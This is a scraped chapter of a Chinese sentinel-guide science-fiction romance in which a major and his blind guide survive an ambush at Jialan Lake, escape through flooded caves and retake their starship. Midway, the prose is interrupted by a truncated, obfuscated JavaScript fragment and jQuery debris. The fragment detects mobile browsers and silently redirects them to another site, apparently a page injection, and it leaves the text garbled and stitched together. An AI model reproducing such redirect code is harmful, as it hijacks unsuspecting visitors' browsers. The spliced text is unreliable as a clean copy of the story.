15.丧偶

作品:《触手今天洗干净了吗[哨向]

    “走。”


    裴许观察着周围情况,言简意赅。


    可没走几步,夏昀舒便陡然停下脚步。


    “不对,”他拉住裴许,指尖按住小臂上的伤口,“刚才的那一枪,和他们的武器规格并不符合。”


    在这片密林里,还有其他隐藏的敌人。


    像是为了印证夏昀舒的猜测,下一秒,又是一枪角度刁钻地袭来——


    夏昀舒赫然回身:“!”


    在他的精神力感知下,射.出的等离子弹掠过身侧,顷刻间便穿透了数棵树干。


    空气中逐渐传来了植物的烧焦气味。


    夏昀舒:“快走!”


    在高温的灼烧下,湿冷的空气被拉出了一条笔直而纤长的白线,又在眨眼间增加许多,密集如蛛网,悄无声息。


    攻击过于紧密,那群人明显不打算放过他们。


    夏昀舒试图观察,却被一只手按住后脑勺拥进怀里躲避,熟悉而温暖的气息瞬间涌入鼻腔。


    是的,熟悉。


    不过几天,他惊讶地发现自己已经熟悉了少校的存在。


    他被带着前进,耳旁几乎没有声音,历经数十代改良迭代,这种武器的隐蔽性令人惊叹。


    而裴许的反应明显更快,他几乎没有留下任何破绽,甚至能在密集的攻击中回过身,对已然确定的方位点射。


    几枪下去,射线增添速度明显降低不少。


    这时,裴许感觉自己的听觉变得更加敏锐,诧异的垂眼扫过夏昀舒。


    向导仍旧低着头,身旁水母左闪右晃地进行躲避,一条透明触手悄无声息地搭上自己腕骨。


    “合适吗?”


    夏昀舒哑声,“我能使用的精神力有限,这种武器基本没有声音,但密度很大,可以从他们的脚步进行判断,或者,你能听见他们的谈话吗?”


    战场上,往往是哨兵与向导的相互配合,才能使这种人形兵器发挥最大威力。


    “降低体感,增加视觉、听觉。不合适请告知,我会即时做出调整。”


    “一切正常。”


    在裴许回答的同时,黑豹陡然冲了出去,悄无声息地绕去那群人身后,抓住时机低伏前进,嘶吼着咬向一人脖颈。


    “有精神体!”


    “三组!转变方向!”


    “消息有误!快阻止他们——!”


    “已到达指定地点。”


    “誓死完成任务!”


    ......


    ......


    裴许低声重复:“任务?”


    这群海盗,以及雇佣兵,难道不是因为行星风暴和磁场异常进行的迫降?


    他的脸色沉寂下来,揽着夏昀舒的手臂肌肉紧绷,硬如烙铁。


    夏昀舒低声提醒:“右侧有人,三点钟方向。”


    此刻,二者的沉稳如出一辙


    裴许举枪击毙,拉着夏昀舒闪身躲进一处岩壁之后。


    绕后的精神体正和他共通感官,他陡然察觉周围形成了包围圈,眉头紧皱。


    这群人目的明确,看这架势,是一定要把自己和夏昀舒留在这儿。


    是哪儿出了问题......


    申请珈蓝湖的航线并非机密,报告虽为元帅直接签署,但中间经手的人并不少。


    帝都星有人走漏了消息。


    议员、秘书、甚至是书记员......


    “等等,”夏昀舒忽然抬头,“望”向远方,低声喃喃:“为什么会有大型热武器?”


    裴许深深看他一眼,说:“有人想要我们死在这里。”


    听见这句,夏昀舒没有动作,语气也听不出情绪:“......是么。”


    树林并非掩体,情况越发紧急,裴许扫了眼周围环境,加快语速:“受环境影响,珈蓝湖的地下洞穴系统很发达,这或许是一条出路。防水袋带了吗?”


    夏昀舒摸索几瞬,最后无奈地摇了摇头。


    “没事,我有多的。”


    裴许一边说,一边替他收拾,同时交代:“通讯器和武器带好,如果走散了,我会去找你,星舰的位置还记吗?”


    “记得。”


    “好,出发。”


    几次试探性的逃脱都被逼退,裴许不得不让精神体进行干扰,才险险地护着夏昀舒冲了出去。


    前进途中,他的左手手臂忽然一僵。


    夏昀舒察觉出异常,伸手一探,竟全是黏腻炽热的淤血。


    他瞬间做出反应,降低了这人的左手痛觉感知。


    “还疼吗?”


    “能接受。”


    水母的触手缠绕上他的伤口,又悲伤的发出“咕叽”一声,难受的险些掉眼泪。


    好在有惊无险。


    随着不断接近旅行星舰,身后动静却在逐渐消散。


    这样明显的异常令俩人都警惕起来。


    速度不断加快,直至视线前方出现了一处天然溶洞。


    热浪同时袭来,裴许回头,深深地望了一眼,看见天边泛出了不正常的白光。


    来不及多想,他和夏昀舒瞬间跳进溶洞内的水潭,闭气朝下潜。


    潭底水草与乱石交错,偶尔会有一连串的气泡从石缝中跳出来。


    情况混乱异常,具体的时间节点已经难以细究,但身后巨石坠落的动静却无比清晰。


    冲击力顺着水流传递,夏昀舒动作一顿,耳中全是流水的闷响。


    紧接着,暗流和头顶的钟乳石一同下坠,水流剧烈涌动,将原本清澈的环境搅的无比浑浊。


    水流紊乱,不知道游了多久。


    胸口阵阵发闷,夏昀舒凭借着最后一口气破出水面,凫水游向岸边,大口大口的喘息。


    一时间,他甚至没有力气爬上岸,指尖剧烈发抖,指甲泛出可怕的乌色。


    水母则隐藏在水底,不断搜寻着裴许。


    过去好半晌,等夏昀舒都缓过了气,它才一脸失落地浮上来,“咕叽”一声栽上旁边的石块。


    一人一水母枯坐在岸边,安静等待。


    “底下还有其他通道吗?”


    ......


    “太混乱了,精神力无法具体感知,我很尽力。”


    ......


    “一点点。”


    ......


    “主要是刚结婚就丧偶不太好。”


    ......


    夏昀舒打了个喷嚏,从防水袋中拿出便携火源,烘烤湿淋淋的外套。


    漆黑的巨大洞穴中,这一点暖色几乎难以被看见。


    他张开手汲取热源,可唇瓣上的血色仍旧在缓慢消散。


    “走吧。”


    不知道过于多久,夏昀舒终于放弃,站起身,脸颊浮现出一层并不正常的潮红,牵着水母的触手,平静开口:“找出口。”


    洞内水汽充裕,一层细密而厚实的苔藓生长在岸边,令夏昀舒想起了家里卧室的地毯。


    他顺着风声不断寻找,在昏暗却开阔的环境里,精神力倒比视线更加有用。


    水母“咕叽”一声跟在远处,时时回望,又缓慢靠近,渐渐探出触手,缠绕上夏昀舒的脖子。


    可他还是在发抖。


    夏昀舒轻笑一声,声音沙哑:“没有用的,你是我的一部分。”


    他不知道自己走了多久,空间内只能听见前进时的细碎脚步,偶尔还有石块掉落的响动。


    寒冷而麻木。


    ......


    ......


    “咕叽!”


    “嗯?”


    夏昀舒眯着眼抬头,发现风声渐渐大了起来,裸露在外的皮肤还能感受到几丝雪粒消融的冰凉。


    “终于出来了......”


    他叹了口气,眼睫都凝出了白霜,随着眨眼簌簌掉落。


    他感知到星舰就在不远处,在踏出溶洞后,还听见了巨大的、类似瀑布的水流流淌声,同之前裴许让自己听时截然不同。


    因为大型武器的投入使用,周边环境发生了很大改变。


    山石滚落,地面塌陷,就连先前的密林,此刻也全然不见了踪影。


    珈蓝湖的湖水正顺着地形朝外淌。


    除此之外——


    还是没有发现少校的踪迹。


    他转过身,拍过水母伞盖,沿着隐蔽小路继续前进,最终顺着外梯进入了星舰内部。


    昏暗的内舱随着他的进入亮起了应急灯,恒温系统开始运转,夏昀舒终于松了一口气。


    他脚步发软,哆嗦着再次打开防水袋,摸出之前裴许给自己的枪,上膛,握紧。


    星舰的距离并不远,夏昀舒不认为那群海盗蠢到没能察觉。


    他需要前往驾驶室。


    可越往前走,空气中的血腥气便越发明显,他偏过脑袋,片刻后暗道糟糕。


    这艘旅行星舰属于中型载体机械,正常情况下会配备一名舰长与三名安全员。


    从现在的情况来看,他们恐怕凶多吉少。


    夏昀舒又打了个喷嚏。


    事发紧急,正如少校所说,这群人有备而来,目的便是让他们葬身珈蓝湖。


    这片被波及的美丽湖泊,正面临着与多年前相同的厮杀与毁坏。


    想着,夏昀舒身形一晃,放慢了脚步平稳呼吸。


    穿过观景车厢,脚下的走廊便直达驾驶室。


    他的呼吸越发急促,水母缩在高热的颈侧,很努力地要替他降低温度。


    “发动机损坏......”


    “提前打申请,可以启动......目标被掩埋......”


    ......


    ......


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054908|194707||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >夏昀舒听着,靠在休息室门后,双手自然握住枪托,在心中默数。


    “有人!”


    “快——!”


    戛然而止。


    夏昀舒眼也不眨的抬手击杀,甩了甩手腕,继续前进。


    应该是察觉了生物芯片的失效,逐渐有人在朝这里靠近。


    他不得不加快脚步,同时躲避那些奇形怪状的勘探精神体。


    在转过墙角前,他忽地屏住呼吸。


    不出所料,前边也有人看守。


    他的手仍然在抖,甚至有着越发严重的趋势。


    多年前的旧伤并未痊愈,如今仍在隐隐作痛。


    随着脚步逐渐靠近,夏昀舒深深地吸了口气,拼尽全力保持稳定。


    瞄准,射击。


    伴随着一阵不可控的痉挛,原本一击毙命的子弹发生偏移,从肩侧描了个边。


    “操!他没死!”


    “抓住他!”


    “上!抓活的,把他腿咬断!”


    打草惊蛇,夏昀舒立马转身逃跑。


    这时,一只熟悉的精神体从旁扑出,獠牙瞬间咬穿了斑点狗的脖颈。


    伴随着濒死的呜咽,一名哨兵痛苦地捂住脑袋,跪倒在地。


    一只手从后方锢住了夏昀舒瘦削的腰肢,鼻息喷洒在发顶,同时右手握住他的手腕,在止住身前人颤抖的同时,举枪瞄准。


    夏昀舒惊讶回头,语气藏着他自己也没有发现的惊喜:“你还活着?!”


    “嗯。”


    裴许低声,发丝里凝着冰,颈侧还有大片擦伤,看起来格外可怖。


    而此刻,他的拇指擦过夏昀舒虎口处的淤青,心中只有一个想法:还好他现在看不见。


    夏昀舒握紧了他因为受伤而无力下垂的另一只手,闭上眼替他调节五感。


    夏昀舒:“嗯?”


    他原本以为会混乱躁动的精神体,如今竟维持着诡异的平静。


    诧异在所难免,但他还是本能的替裴许调整无感,将敏锐值平衡的刚刚好。


    “借我用一下。”


    裴许说着,摸走了夏昀舒的武器,纯黑色皮质手套泛出冷光,旋即脚底一蹬,以一种可怕的速度迅速逼近。


    感知到他行动的夏昀舒又是一愣。


    这人简直是个疯子。


    很少有谁能在射击的同时近身肉搏,一枪落毕,又能反手以枪托砸开另一人。


    绝对的力量压制,绝对的战斗技巧。


    无外乎哨兵与向导会被[塔]高度控制,他们天生就适合战场。


    如果不是时间不对,夏昀舒简直想要拿相机记录下来。


    但他很快做出反应,透明的触手游移,像是在操纵一台精密的机器。


    片时,他再次感到意外。


    因为在操纵配合途中,少校竟然没有丝毫抵抗,就像是——


    对自己绝对信任。


    夏昀舒背着的手逐渐握紧,虎口处的闷痛紧随而来。


    这是被枪械后坐力冲击的结果,少校佩带的武器威力很大,并不适合向导使用。


    他无意识的咬破了唇瓣,触手却悄无声息的蔓延出去。


    绞住他们的脖颈,猎杀他们的精神体。


    察觉不对的裴许深深看向夏昀舒,却只看见了他苍白的面色,没有察觉水母的动作。


    那些触手的确做得足够隐蔽,外加情况紧急,没有时间留给他仔细观察。


    “夏昀舒!”


    裴许只喊了声名字,夏昀舒却瞬间理解了他的意思,转身跑向驾驶舱。


    星舰的驾驶舱往往十分复杂,他以精神力扫过一圈,不出意外地发现了安全员的尸体。


    他垂下眼,稍微绕过一圈,快步走向主控台。


    [正在自检......]


    [一切正常、燃料充足。]


    [预定航线:返航。]


    [目的地:帝都星。]


    [是否确认启动?]


    夏昀舒按下启动键,侧耳听见了发动机的轻微嗡鸣声音。


    星舰正在逐渐离开地面。


    确定启动后,他转而打开应急武器柜,拿出里边轻巧的武器,迅速折返。


    得回去帮少校。


    脚步急促,等他返回方才的战斗场地时,裴许正好放倒最后一人。


    暗戳戳使绊子的水母又飘了回来,缩在夏昀舒身后,害怕的瑟瑟发抖。


    夏昀舒“注视”着裴许靠近,嗅见了更浓的血腥气,正想问问这人情况怎么样,却被突兀的一把抱住,一只手就这样按住他的后脑,鼻尖抵在颈侧,悄悄嗅闻。


    他抬手想要推开,几番纠结后,又极其缓慢的放下,垂在身侧。


    他能感到透过皮革的滚烫热度,以及耳旁坚决而深沉的询问——


    “有没有吓到?”